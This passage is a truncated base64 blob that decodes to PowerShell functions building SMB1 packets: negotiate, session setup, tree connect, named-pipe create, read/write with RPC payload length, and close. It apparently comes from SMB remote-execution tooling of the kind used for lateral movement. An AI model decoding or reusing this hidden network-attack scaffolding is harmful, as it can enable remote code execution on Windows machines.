3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9Qcm90b2NvbCIsW0J5dGVbXV0oMHhmZiwweDUzLDB4NGQsMHg0MikpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfQ29tbWFuZCIsJHBhY2tldF9jb21tYW5kKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX0Vycm9yQ2xhc3MiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9FcnJvckNvZGUiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfRmxhZ3MiLCRwYWNrZXRfZmxhZ3MpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfRmxhZ3MyIiwkcGFja2V0X2ZsYWdzMikNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9Qcm9jZXNzSURIaWdoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX1NpZ25hdHVyZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfVHJlZUlEIiwkcGFja2V0X3RyZWVfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfUHJvY2Vzc0lEIiwkcGFja2V0X3Byb2Nlc3NfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfVXNlcklEIiwkcGFja2V0X3VzZXJfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfTXVsdGlwbGV4SUQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJIZWFkZXINCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW1N0cmluZ10kcGFja2V0X3ZlcnNpb24pDQoNCiAgICBpZigkcGFja2V0X3ZlcnNpb24gLWVxICdTTUIxJykNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9ieXRlX2NvdW50ID0gMHgwYywweDAwDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9ieXRlX2NvdW50ID0gMHgyMiwweDAwICANCiAgICB9DQoNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfYnl0ZV9jb3VudCkNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X0J1ZmZlckZvcm1hdCIsW0J5dGVbXV0oMHgwMikpDQogICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9OYW1lIixbQnl0ZVtdXSgweDRlLDB4NTQsMHgyMCwweDRjLDB4NGQsMHgyMCwweDMwLDB4MmUsMHgzMSwweDMyLDB4MDApKQ0KDQogICAgaWYoJHBhY2tldF92ZXJzaW9uIC1uZSAnU01CMScpDQogICAgew0KICAgICAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X0J1ZmZlckZvcm1hdDIiLFtCeXRlW11dKDB4MDIpKQ0KICAgICAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X05hbWUyIixbQnl0ZVtdXSgweDUzLDB4NGQsMHg0MiwweDIwLDB4MzIsMHgyZSwweDMwLDB4MzAsMHgzMiwweDAwKSkNCiAgICAgICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9CdWZmZXJGb3JtYXQzIixbQnl0ZVtdXSgweDAyKSkNCiAgICAgICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9OYW1lMyIsW0J5dGVbXV0oMHg1MywweDRkLDB4NDIsMHgyMCwweDMyLDB4MmUsMHgzZiwweDNmLDB4M2YsMHgwMCkpDQogICAgfQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X3NlY3VyaXR5X2Jsb2IpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfYnl0ZV9jb3VudCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZWN1cml0eV9ibG9iLkxlbmd0aCkNCiAgICAkcGFja2V0X2J5dGVfY291bnQgPSAkcGFja2V0X2J5dGVfY291bnRbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZWN1cml0eV9ibG9iLkxlbmd0aCArIDUpDQogICAgJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9ICRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1dvcmRDb3VudCIsW0J5dGVbXV0oMHgwYykpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X0FuZFhDb21tYW5kIixbQnl0ZVtdXSgweGZmKSkNCiAgICAkcGFja2V0X1NNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0LkFkZCgiU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9BbmRYT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9NYXhCdWZmZXIiLFtCeXRlW11dKDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X01heE1weENvdW50IixbQnl0ZVtdXSgweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9WQ051bWJlciIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAkcGFja2V0X1NNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0LkFkZCgiU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3RfU2Vzc2lvbktleSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1NlY3VyaXR5QmxvYkxlbmd0aCIsJHBhY2tldF9ieXRlX2NvdW50KQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9DYXBhYmlsaXRpZXMiLFtCeXRlW11dKDB4NDQsMHgwMCwweDAwLDB4ODApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdC5BZGQoIlNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0X1NlY3VyaXR5QmxvYiIsJHBhY2tldF9zZWN1cml0eV9ibG9iKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9OYXRpdmVPUyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CU2Vzc2lvblNldHVwQW5kWFJlcXVlc3QuQWRkKCJTTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdF9OYXRpdmVMQU5NYW5hZ2UiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJTZXNzaW9uU2V0dXBBbmRYUmVxdWVzdCANCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9wYXRoKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X3BhdGhfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3BhdGguTGVuZ3RoICsgNykNCiAgICAkcGFja2V0X3BhdGhfbGVuZ3RoID0gJHBhY2tldF9wYXRoX2xlbmd0aFswLDFdDQoNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDA0KSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X0FuZFhDb21tYW5kIixbQnl0ZVtdXSgweGZmKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X0FuZFhPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0LkFkZCgiU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdF9GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X1Bhc3N3b3JkTGVuZ3RoIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfQnl0ZUNvdW50IiwkcGFja2V0X3BhdGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfUGFzc3dvcmQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfVHJlZSIsJHBhY2tldF9wYXRoKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfU2VydmljZSIsW0J5dGVbXV0oMHgzZiwweDNmLDB4M2YsMHgzZiwweDNmLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CTlRDcmVhdGVBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfbmFtZWRfcGlwZS5MZW5ndGgpDQogICAgJHBhY2tldF9uYW1lZF9waXBlX2xlbmd0aCA9ICRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGhbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9maWxlX25hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X25hbWVkX3BpcGUuTGVuZ3RoIC0gMSkNCiAgICAkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGggPSAkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X1dvcmRDb3VudCIsW0J5dGVbXV0oMHgxOCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9BbmRYT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfUmVzZXJ2ZWQyIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0ZpbGVOYW1lTGVuIiwkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9DcmVhdGVGbGFncyIsW0J5dGVbXV0oMHgxNiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9Sb290RklEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0FjY2Vzc01hc2siLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDIpKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfQWxsb2NhdGlvblNpemUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9GaWxlQXR0cmlidXRlcyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9TaGFyZUFjY2VzcyIsW0J5dGVbXV0oMHgwNywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9EaXNwb3NpdGlvbiIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9DcmVhdGVPcHRpb25zIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0ltcGVyc29uYXRpb24iLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfU2VjdXJpdHlGbGFncyIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9GaWxlbmFtZSIsJHBhY2tldF9uYW1lZF9waXBlKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CUmVhZEFuZFhSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDBhKSkNCiAgICAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdC5BZGQoIlNNQlJlYWRBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X0FuZFhPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfRklEIixbQnl0ZVtdXSgweDAwLDB4NDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfTWF4Q291bnRMb3ciLFtCeXRlW11dKDB4NTgsMHgwMikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfTWluQ291bnQiLFtCeXRlW11dKDB4NTgsMHgwMikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfVW5rbm93biIsW0J5dGVbXV0oMHhmZiwweGZmLDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfUmVtYWluaW5nIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X0J5dGVDb3VudCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X1JQQ19sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X1JQQ19sZW5ndGggKyAyNCkNCiAgICAkcGFja2V0X3dyaXRlX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MGUpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfQW5kWENvbW1hbmQiLFtCeXRlW11dKDB4ZmYpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfQW5kWE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCIsW0J5dGVbXV0oMHgwMCwweDQwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X09mZnNldCIsW0J5dGVbXV0oMHhlYSwweDAzLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4ZmYsMHhmZiwweGZmLDB4ZmYpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfV3JpdGVNb2RlIixbQnl0ZVtdXSgweDA4LDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVtYWluaW5nIixbQnl0ZVtdXSgweDUwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfRGF0YUxlbmd0aEhpZ2giLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9EYXRhTGVuZ3RoTG93IiwkcGFja2V0X3dyaXRlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0RhdGFPZmZzZXQiLFtCeXRlW11dKDB4M2YsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9IaWdoT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0J5dGVDb3VudCIsJHBhY2tldF93cml0ZV9sZW5ndGgpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJDbG9zZVJlcXVlc3QoKQ0Kew0KICAgIHBhcmFtIChbQnl0ZVtdXSRwYWNrZXRfZmlsZV9JRCkNCg0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQkNsb3NlUmVxdWVzdC5BZGQ